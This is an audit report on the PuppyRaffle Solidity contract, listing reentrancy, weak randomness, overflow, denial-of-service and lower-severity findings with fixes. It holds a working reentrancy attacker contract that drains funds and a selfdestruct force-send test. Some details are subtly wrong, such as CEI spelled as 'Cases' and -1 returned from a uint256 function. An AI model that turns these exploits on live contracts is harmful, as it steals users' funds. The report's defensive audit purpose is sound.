PuppyRaffle Audit Report

Version 1.0

FalseGenius

April 24, 2024

PuppyRaffle Audit Report

FalseGenius

April 24, 2024

Prepared by: FalseGenius Lead Auditors: - xxxxxxx

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed

3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond to the following commit hash:

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

- Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
- Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

I loved auditing this codebase. I spent 1~2 days using Foundry tests, Slither, Aderyn and Manual Review for the Audit

Issues found

Severity	Number of Issues Found
High	3
Medium	3
Low	3
Gas	2
Informational	7
Total	18

Findings

High

[H-01] Reentrancy attack in `PuppyRaffle::refund()` enables entrant to drain the contract balance.

Description: `PuppyRaffle::refund()` allows players to refund their deposits by initiating external call first and subsequently setting the user's address to zero in `PuppyRaffle::players()`. This introduces a vulnerability to Reentrancy attack, where attacker could deploy a contract with a malicious fallback() function to retrigger`PuppyRaffle::refund()`. Since user remains in `PuppyRaffle::players()` at this point, they would successfully pass all checks, leading to repeated executions of sendValue, ultimately draining the contract.

```
1 @>      payable(msg.sender).sendValue(entranceFee); // Reentrancy here
2         players[playerIndex] = address(0);
```

Impact: The reentrancy vulnerability could result in a significant drain on contract's balance, potentially leading to financial losses for the contract owner and participants.

Proof of Concept: We set up an ReentrancyAttack contract with a malicious receive() function, have it enter PuppyRaffle with 4 other players and call refund() on it, with the following result,

- *puppyRaffle balance before attack: 5000000000000000000*
- *attackContract balance before attack: 0*
- *puppyRaffle balance after attack: 0*
- *attackContract balance after attack: 5000000000000000000*

Code

```
1
2     function testReentrancyInRefundFunction() public playersEntered {
3         address alice = makeAddr("alice");
4         deal(alice, 1 ether);
5         vm.prank(alice);
6         ReentrancyAttacker attacker = new ReentrancyAttacker{value: 1
              ether}(address(puppyRaffle));
7
8         address[] memory arr = new address[](1);
9         arr[0] = address(attacker);
10
11        vm.prank(address(attacker));
12        puppyRaffle.enterRaffle{value:entranceFee}(arr);
13
14        console.log("puppyRaffle balance before attack: %s", address(
              puppyRaffle).balance);
15        console.log("attackContract balance before attack: %s", address
              (attacker).balance);
16
17        assertEq(address(puppyRaffle).balance, 5 ether);
18        assertEq(address(attacker).balance, 0);
19
20        vm.prank(alice);
21        attacker.setIdx();
22
23        vm.startPrank(address(attacker));
24        uint256 idx = puppyRaffle.getActivePlayerIndex(address(attacker
              ));
25        puppyRaffle.refund(idx);
26        vm.stopPrank();
27
28        console.log("puppyRaffle balance after attack: %s", address(
              puppyRaffle).balance);
29        console.log("attackContract balance after attack: %s", address(
              attacker).balance);
30        assertEq(address(puppyRaffle).balance, 0);
31        assertEq(address(attacker).balance, 5 ether);
32
33    }
34
```

```
35      contract ReentrancyAttacker {
36          PuppyRaffle public raffle;
37          uint256 constant entranceFee = 1e18;
38          uint256 public idx;
39
40          address private owner;
41
42          modifier onlyOwner() {
43              require(msg.sender == owner, "You are not the owner");
44              _;
45          }
46
47          constructor(address _raffle) payable {
48              raffle = PuppyRaffle(_raffle);
49              owner = msg.sender;
50          }
51
52          function setIdx() external onlyOwner {
53              idx = raffle.getActivePlayerIndex(address(this));
54          }
55
56          function destruct(address _address) external onlyOwner {
57              selfdestruct(payable(_address));
58          }
59
60          receive() external payable {
61              if (address(raffle).balance > 0) {
62                  raffle.refund(idx);
63              }
64          }
65      }
```

Recommended Mitigation: You can go for one of the following counter measures,

1. Follow the CEI (Cases, Effects, Interactions) pattern. For the `PuppyRaffle::refund()`, cover the checks first. Set the states after that. Make external calls at the end. So have `PuppyRaffle::refund()` update `players` array before making the external call.

```
1
2       function refund(uint256 playerIndex) public {
3               // Checks
4               address playerAddress = players[playerIndex];
5               require(playerAddress == msg.sender, "PuppyRaffle: Only the
                    player can refund");
6               require(playerAddress != address(0), "PuppyRaffle: Player
                   already refunded, or is not active");
7
8               // Effects
9   +           players[playerIndex] = address(0);
10
```

```
11              // External Calls
12              payable(msg.sender).sendValue(entranceFee);
13
14 -            players[playerIndex] = address(0);
15              emit RaffleRefunded(playerAddress);
16          }
```

2. Consider using NonReentrant() modifier provided by OpenZeppelin contract.

```
1  +    import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
2
3  -    contract PuppyRaffle {
4  +    contract PuppyRaffle is ReentrancyGuard {
5       // Rest of the code
6
7  -     function refund(uint256 playerIndex) public {}
8  +     function refund(uint256 playerIndex) public nonReentrant {}
9
10      // Rest of the code
11      }
```

[H-02] Insecure randomness generation in `PuppyRaffle::selectWinner()` is exploitable by miner, making it predictable and taking away the randomness from the function, and predict the winning puppy.

Description: The winner is selected by relying on user address, block timestamp and block difficulty in `PuppyRaffle::selectWinner()`. This approach presents a vulnerability that can be exploited by a miner to some extent. By manipulating the timestamp, difficulty and mining for an address that would allow them to predict the outcome of the selection process; they will know ahead of time the values of time, difficulty and address, thereby choosing winner of the Raffle to be themselves, compromising the randomness and fairness of the function.

Note: This additionally means, users could front-run `refund()` if they see that they are not the winner.

```
1      function selectWinner() external {
2          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
3          require(players.length >= 4, "PuppyRaffle: Need at least 4
               players");
4
5  @>       uint256 winnerIndex =
6              uint256(keccak256(abi.encodePacked(msg.sender, block.
                   timestamp, block.difficulty))) % players.length;
7          // Rest of the code
8      }
```

Impact: The miner can influence winner of the Raffle, selecting the `rarest` puppy, making the Raffle a gas war as who wins the raffles.

Proof of Concept:

1. Validators/Miners could know ahead of time the `block.timestamp` and `block.difficulty`, and use it to predict when to participate. See the blog on Solidity: Prevrandao. `block.difficulty` was recently replaced by `block.prevrandao`.
2. Validators/Miners can mine/manipulate their `msg.sender` to result in their address generated as the winner.
3. Users can revert the transaction if they do not like the winner of resulting puppy.

Recommended Mitigation: Do not use block.timestamp, now or blockhash as a source of randomness. Consider using cryptographically-generated random number generator such as Chainlink VRF.

[H-03] `PuppyRaffle::totalFees` in `PuppyRaffle::selectWinner()` overflows when it stores amount greater than ~18.4e18, incorrectly reflecting the amount stored in the contract, making the `PuppyRaffle::withdrawFees()` inoperable.

Description: The `PuppyRaffle::totalFees` is of type uint64 and it can hold up to `18446744073709551615~ 18.4 ether approx`; the maximum value a uin64 variable can hold. If the contract gets a lot of deposits and `PuppyRaffle::totalFees` exceeds maximum value of uint64, its value wraps around and starts from 0, thereby it is susceptible to overflow. This leads to an incorrect representation of contract balance, and it directly affects `PuppyRaffle::withdrawFees()`, as the `PuppyRaffle::feeAddress` cannot withdraw fees if totalFees is not equivalent to contract balance.

Impact: Due to the overflow in `PuppyRaffle::totalFees`, the contract will never truly be empty, even if the actual balance exceeds maximum value stored. Additionally, it limits feeAddress's ability to withdraw any funds and may hinder operational capabilities of PuppyRaffle platform.

Proof of Concept: Have 93 players enter the contract, resulting in 93 ether getting deposited into PuppyRaffle. 1. *PrizePool: (totalAmountCollected* 80) / 100 => 93 * 0.8 => 74.4 ether. *2.* Expected totalFees: (totalAmountCollected * 20) / 100 => 93 * 0.2 => 18.6 ether. *3.* Contract Balance: 18.6 ether. *4.* Actual totalFees: 153255926290448384 ~ 0.15 ether*

PoC

```
1     function testArithmeticOverlowInSelectWinner() public
          playersEntered {
2         address alice = makeAddr("alice");
```

```
        aliceEntered(alice);

        address[] memory playerx = new address[](88);
        for (uint256 idx=0; idx < 88; idx++) {
            address player = address(uint160(idx+5));
            playerx[idx] = player;
        }

        vm.prank(alice);
        puppyRaffle.enterRaffle{value:entranceFee * playerx.length}(
            playerx);

        // Contract balance before: 93e18
        console.log("Contract balance before: %s", address(puppyRaffle)
            .balance);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();

        // Total fees: 153255926290448384 ~ 0.15 ether.
        // Actual Contract balance: 18600000000000000000 ~ 18.6 ether
        console.log("Total fees: %s", puppyRaffle.totalFees());
        console.log("Actual Contract balance: %s", address(puppyRaffle)
            .balance);

        /**
         * @notice Overflow!
         * totalFees is uint64 and type(uint64).max is 18.4 ether. Any
             value beyond that overflows
         * Desired totalFees 93 * 0.2 ~= 18.6 ether
         * Actual totalFees: 153255926290448384 ~ 0.15 ether
         *  Actual contract balance: 18.6 ether
         */

        assertLt(puppyRaffle.totalFees(), address(puppyRaffle).balance)
            ;

        vm.expectRevert();
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: Consider using newer versions of solidity, or using uint256 variable types that can hold large values when dealing with tokens.

A better approach would be using `SafeMath` library of OpenZeppelin for arithmetics. Either that, or remove the balance check from `withdrawFees`.

[M-01] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle()` function is a potential Denial-of-service (DoS) attack, incrementing gas costs for future players.

Description: The `PuppyRaffle::enterRaffle()` function checks for address duplicates using an unbounded for-loop which causes gas-costs to blow up, since the longer the `PuppyRaffle::players` array is, the more checks new players will have to make. This means, gas costs for players entering the raffle when the Raffle starts will be dramatically lower than those who enter later. Every additional address that gets added to players array results in additional duplicate address check that loop will have to make.

```
    // DoS here due to unbounded for-loop
@>  for (uint256 i = 0; i < players.length - 1; i++) {
        for (uint256 j = i + 1; j < players.length; j++) {
            require(players[i] != players[j], "PuppyRaffle: Duplicate
                player");
        }
    }
```

Impact: The gas costs for entrants will greatly increases as more players join the raffle, discouraging later users from entering, causing a rush when Raffle starts, to be one of the first entrants.

Proof of Concept: If we have two sets of 100 players enter, the gas costs would be,

- *Gas consumed by 100 players: 6385604*
- *Gas consumed by next 100 players: 18387894*

PoC

Place the following test into `PuppyRaffleTest.t.sol`

```

function testDosOnEnterRaffle() public {
    address playerZero = address(uint160(1000));
    deal(playerZero, 1 ether);
    address[] memory players = new address[](1);
    players[0] = playerZero;
    vm.prank(playerZero);
    puppyRaffle.enterRaffle{value: entranceFee * 1}(players);

    address alice = makeAddr("alice");
    deal(alice, 1 ether);


    address[] memory players2 = new address[](1);
    uint256 gasStartAlice = gasleft();
    players2[0] = alice;
    vm.prank(alice);
```

```
18      puppyRaffle.enterRaffle{value: entranceFee * 1}(players2);
19      uint256 gasLeftAlice = gasStartAlice - gasleft();
20
21      // Adding 100 player to the bunch
22      address[] memory playerx = new address[](100);
23      for (uint256 idx; idx < playerx.length; idx++) {
24          address play__er = address(uint160(idx));
25          playerx[idx] = play__er;
26      }
27      uint256 gasStartCris = gasleft();
28      address cris = makeAddr("cris");
29      deal(cris, 100 ether);
30      vm.prank(cris);
31      puppyRaffle.enterRaffle{value: entranceFee * playerx.length}(
            playerx);
32      uint256 gasLeftCris = gasStartCris - gasleft();
33
34
35      // Gas consumed by next 100 players
36      uint256 count = 0;
37      address[] memory playerz = new address[](100);
38      for (uint256 idx; idx < playerz.length; idx++) {
39          address play__er = address(uint160(idx+playerz.length));
40          playerz[count] = play__er;
41          count += 1;
42      }
43
44      uint256 gasStartDock = gasleft();
45      address Dock = makeAddr("Dock");
46      deal(Dock, 100 ether);
47      vm.prank(Dock);
48      puppyRaffle.enterRaffle{value: entranceFee * playerx.length}(
            playerz);
49      uint256 gasLeftDock = gasStartDock - gasleft();
50
51
52      console.log("Gas consumed by alice: %s", gasLeftAlice);
53      console.log("Gas consumed by 100 players: %s", gasLeftCris);
54      console.log("Gas consumed by next 100 players: %s", gasLeftDock);
55
56      assertLt(gasLeftAlice, gasLeftCris);
57      assertLt(gasLeftCris, gasLeftDock);
58  }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing the duplicates. Users can make new wallet addresses anyways, so a duplicate check does not prevent the same person from entering twice using different wallet address. It only checks for same wallet address.
2. Consider using mapping to check for duplicates. This would allow constant lookup for whether

there is a duplicate or not.

```
1
2 +   mapping(address => boolean) public addressExists;
3
4     function enterRaffle(address[] memory newPlayers) public payable {
5 +       // Check for duplicates
6 +       for (uint256 i = 0; i < newPlayers.length; i++) {
7 +           require(addressExists[newPlayers[i]] != true, "PuppyRaffle:
      Duplicate player");
8 +       }
9         require(msg.value == entranceFee * newPlayers.length, "
              PuppyRaffle: Must send enough to enter raffle");
10
11        for (uint256 i = 0; i < newPlayers.length; i++) {
12            players.push(newPlayers[i]);
13 +          addressExists[newPlayers[i]] = true;
14        }
15
16        // Check for duplicates
17 -      for (uint256 i = 0; i < players.length - 1; i++) {
18 -          for (uint256 j = i + 1; j < players.length; j++) {
19 -              require(players[i] != players[j], "PuppyRaffle:
      Duplicate player");
20 -          }
21 -      }
22        emit RaffleEnter(newPlayers);
23    }
24
25    function selectWinner() external {
26 +     // Empty out the addressExists
27
28        require(block.timestamp >= raffleStartTime + raffleDuration, "
              PuppyRaffle: Raffle not over");
29        // Rest of the code...
30    }
```

[M-02] The require statement in `PuppyRaffle::withdrawFees()` function would always revert in case of discrepancies between `PuppyRaffle::totalFees` and contract balance, making it inoperable to withraw any fees.

Description: The require check in `PuppyRaffle::withdrawFees()` makes the function inoperable in case of overflows (totalFees is susceptible to it), or receiving ether from a malicious contract using selfdestruct.

Impact: Due to the discrepancy, the contract will never truly be empty, and it limits `PuppyRaffle::feeAddress`' ability to withdraw any ether from the contract, resulting in operational inefficen-

cies.

Proof of Concept: Add the following test to `PuppyRaffleTest.t.sol`,

PoC

```
1
2     function testCheckWithdrawalInoperability() public playersEntered {
3         address alice = makeAddr("alice");
4         deal(alice, 1 ether);
5
6         vm.warp(block.timestamp + duration + 1);
7         vm.roll(block.number + 1);
8
9         // 0.8 ether -> totalFees
10        puppyRaffle.selectWinner();
11
12        // contract balance: 0.8 ether.
13        // Total fees: 0.8 ether.
14        console.log("Contract balance before attack: %s" ,address(
              puppyRaffle).balance);
15        console.log("Contract totalFees before attack: %s" ,puppyRaffle
              .totalFees());
16
17        vm.startPrank(alice);
18        ReentrancyAttacker attacker = new ReentrancyAttacker{value:1
              ether}(address(puppyRaffle));
19        // Send 1 ether to puppy raffle through selfdestruct
20        attacker.destruct(address(puppyRaffle));
21        vm.stopPrank();
22
23        // Discrepancy
24        // contract balance: 1.8 ether.
25        // Total fees: 0.8 ether.
26        console.log("Contract balance after attack: %s" ,address(
              puppyRaffle).balance);
27        console.log("Contract totalFees after attack: %s" ,puppyRaffle.
              totalFees());
28
29        assertLt(puppyRaffle.totalFees(), address(puppyRaffle).balance)
              ;
30
31        vm.expectRevert();
32        puppyRaffle.withdrawFees();
33    }
34
35    contract ReentrancyAttacker {
36        PuppyRaffle public raffle;
37        uint256 constant entranceFee = 1e18;
38        uint256 public idx;
39
40        address private owner;
```

```
41
42          modifier onlyOwner() {
43              require(msg.sender == owner, "You are not the owner");
44              _;
45          }
46
47          constructor(address _raffle) payable {
48              raffle = PuppyRaffle(_raffle);
49              owner = msg.sender;
50          }
51
52          function setIdx() external onlyOwner {
53              idx = raffle.getActivePlayerIndex(address(this));
54          }
55
56          function destruct(address _address) external onlyOwner {
57              selfdestruct(payable(_address));
58          }
59
60          receive() external payable {
61              if (address(raffle).balance > 0) {
62                  raffle.refund(idx);
63              }
64          }
65      }
```

Recommended Mitigation: Consider updating the require statement so it reverts only when contract balance is less than total fees accumulated.

```
1
2       function withdrawFees() external {
3   -       require(address(this).balance == uint256(totalFees), "
        PuppyRaffle: There are currently players active!");
4   +       require(address(this).balance >= uint256(totalFees), "
        PuppyRaffle: There are currently players active!");
5           uint256 feesToWithdraw = totalFees;
6           totalFees = 0;
7           (bool success,) = feeAddress.call{value: feesToWithdraw}("");
8           require(success, "PuppyRaffle: Failed to withdraw fees");
9       }
```

[M-03] Smart contract wallets without `receive` or `fallback` function will block the start of a new contest.

Description: The `PuppyRaffle::selectWinner()` is reponsible for resetting players array and start a new contest. However, if winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call `selectWinner()` function again and EOAs could enter, but this would be gas extensive due to duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner()` could revert many times, making lottery reset difficult.

Proof of Concept:

1. 10 smart contract wallets enter PuppyRaffle without receive or fallback.
2. The lottery ends.
3. The `selectWinner()` wouldn't work even though lottery has ended.

Recommended Mitigation: There are a few recommendations to this,

1. Do not allow smart contract wallets to enter (Not recommended).
2. Create a mapping of addresses to payout amounts so winners could withdraw prizePool themselves with a `claimPrize` function (Recommended).

Low

[L-01] `PuppyRaffle::getActivePlayerIndex()` returning 0 for inactive players can mislead an active user at index 0, thereby undermining intended functionlity of the function.

Description: The `PuppyRaffle::getActivePlayerIndex()` incorrectly indicates that a user is inactive by returning 0 if they are not found in `PuppyRaffle::players` array. This behavior poses a problem because it can mislead an active user at index 0 into believing that they are inactive, thereby preventing them from triggering a refund. This undermines the intended functionality of the function, as it should accurately identify active users for a refund.

Impact: This has significant implications for fairness of the PuppyRaffle contract. Any user at index 0 could be erroneously denied an opportunity to trigger a refund, which undermines contract fairness and user experience.

Proof of concept:

1. User enters the Raffle. They are the first entrant.
2. `PuppyRaffle::getActivePlayerIndex()` returns 0.
3. User thinks they have not entered correctly due to User Documentation.
4. They enter again, wasting gas.

Recommended Mitigation: The easiest recommendation would be to revert if the user is not found in the array instead of returning 0.

You could also consider modifying the `PuppyRaffle::getActivePlayerIndex()` function to return a value that clearly indicates when a user is not found in the `PuppyRaffle::players` array. One common approach is to use a sentinel value, such as a `-1` to represent "Not found" or "inactive".

```
    function getActivePlayerIndex(address player) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }

+       return -1;
-       return 0;
    }
```

Impact: A malicious miner can manipulate the outcome, rigging the results in favor of themselves or others, compromising the trust of participants and authenticity, leading to reputational damage.

Proof of Concept:

Recommended Mitigation: Consider using verified randomness oracle like Chainlink VRF.

[L-02] Casting uint256 fee as uint64 in `PuppyRaffle::selectWinner()` is a potential unsafe casting vulnerability, truncating fee into a representable value for uint64, adding incorrect amount to `PuppyRaffle::totalFees`.

Description: The max value uint64 can hold is 18446744073709551615 ~ 18.4e18. Any number beyond that is susceptible to overflow. The fee calculated in `PuppyRaffle::selectWinner()` is of type uint256 and that value gets truncated when it is casted off as uint64, resulting in incorrect calculation of the totalFees.

Impact: The unsafe casting of uint256 fee into uint64 in `PuppyRaffle::selectWinner()` leads to an incorrect calculation of the total fees stored in `PuppyRaffle::totalFees`. This compromises the accuracy of fee tracking within the contract, resulting in potential financial discrepancies.

Proof of Concept:

1. Launch Chisel (a component of foundry toolkit) with the command:

```
chisel
```

2. Save 20e18 amount (An amount greater than what uint64 can hold) to a variable.

```
uint256 amount = 20e18;
```

3. Cast amount as uint64

```
uint64 castedValue = uint64(amount);
```

4. Check the value of castedValue

```
castedValue
```

- *Result: 1553255926290448384 ~ 1.5e18.

So 20e18 gets casted as 1.5e18 due to overflow.

Recommended Mitigation: There are few adjustments to consider.

1. Consider using SafeMath library provided by OpenZeppelin for arithmetic operations, preventing any potential underflows/overflows.
2. Use a different data type to accomodate larger values i.e., uint256.

[L-03] Event is missing `indexed` fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

- Found in src/PuppyRaffle.sol Line: 58

```
    event RaffleEnter(address[] newPlayers);
```

- Found in src/PuppyRaffle.sol Line: 59

```
    event RaffleRefunded(address player);
```

- Found in src/PuppyRaffle.sol Line: 60

```
    event FeeAddressChanged(address newFeeAddress);
```

Gas

[G-01] Unchanged state variables should be declared constant or immutable.

Reading from storage is more expensive than reading from constant, or immutable.

- Instances: `PuppyRaffle::raffleDuration` should be immutable. `PuppyRaffle::commonImageUri` should be constant. `PuppyRaffle::rareImageUri` should be constant. `PuppyRaffle::legendaryImageUri` should be constant.

[G-02] Storage variables in Loops should be cached.

Consider using cached length instead of reading directly from state variable. Everytime you call `players.length`, you read from storage as opposed to reading from memory which is more gas efficient.

Instances: `PuppyRaffle::enterRaffle()`

```
+       uint256 playersLength = players.length;
+       for (uint256 i = 0; i < playersLength - 1; i++) {
-       for (uint256 i = 0; i < players.length - 1; i++) {
+           for (uint256 j = i + 1; j < playersLength; j++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Informational

[I-01]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-02]: Using an older version of Solidity pragma is not recommended; use a stable version.

Consider using a stable version of Solidity in your contracts i.e., use `pragma solidity 0.8.18;`

Description solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.18) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Refer to Slither

[I-03]: Function `PuppyRaffle::_isActivePlayer()` is not used anywhere.

The function `_isActivePlayer()` clutters up the code and wastes gas. Consider removing it.

```
1 -   function _isActivePlayer() internal view returns (bool) {}
```

[I-04]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

- Found in src/PuppyRaffle.sol Line: 67

```
1           feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 218

```
1           feeAddress = newFeeAddress;
```

[I-05]: Define and use `constant` variables instead of using literals

If the same constant literal value is used multiple times, create a constant state variable and reference it throughout the contract, reflecting meaning of hardcoded magic numbers in `PuppyRaffle::selectWinner()`. Hardcoded numbers are confusing.

```
1  contract PuppyRaffle is ERC721, Ownable {
2      // Other code
3  +   uint256 constant POOL_PERCENTAGE = 80;
4  +   uint256 constant FEE_PERCENTAGE = 20;
5  +   uint256 constant PRECISION = 100;
6      function selectWinner() external {
7          // Other code...
8
9  -       uint256 prizePool = (totalAmountCollected * 80) / 100;
```

```
-       uint256 fee = (totalAmountCollected * 20) / 100;
+       uint256 prizePool = (totalAmountCollected * POOL_PERCENTAGE) / PRECISION;
+       uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / PRECISION;

        // Other code...
    }
}
```

[I-06]: `PuppyRaffle::selectWinner()` does not follow CEI, which is not the best practice

It is best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
-       (bool success,) = winner.call{value: prizePool}("");
-       require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
+       (bool success,) = winner.call{value: prizePool}("");
+       require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-07]: Missing event emits in Key Raffle functions

Events should be emitted that record significant actions within the contract. `PuppyRaffle::selectWinner()` should emit an event to reflect this.

```
    // Other events
+   event RaffleWinner(address indexed winner, uint256 indexed tokenId);

    function selectWinner() external {
        // Other code...

+       emit RaffleWinner(winner, tokenId);
    }
```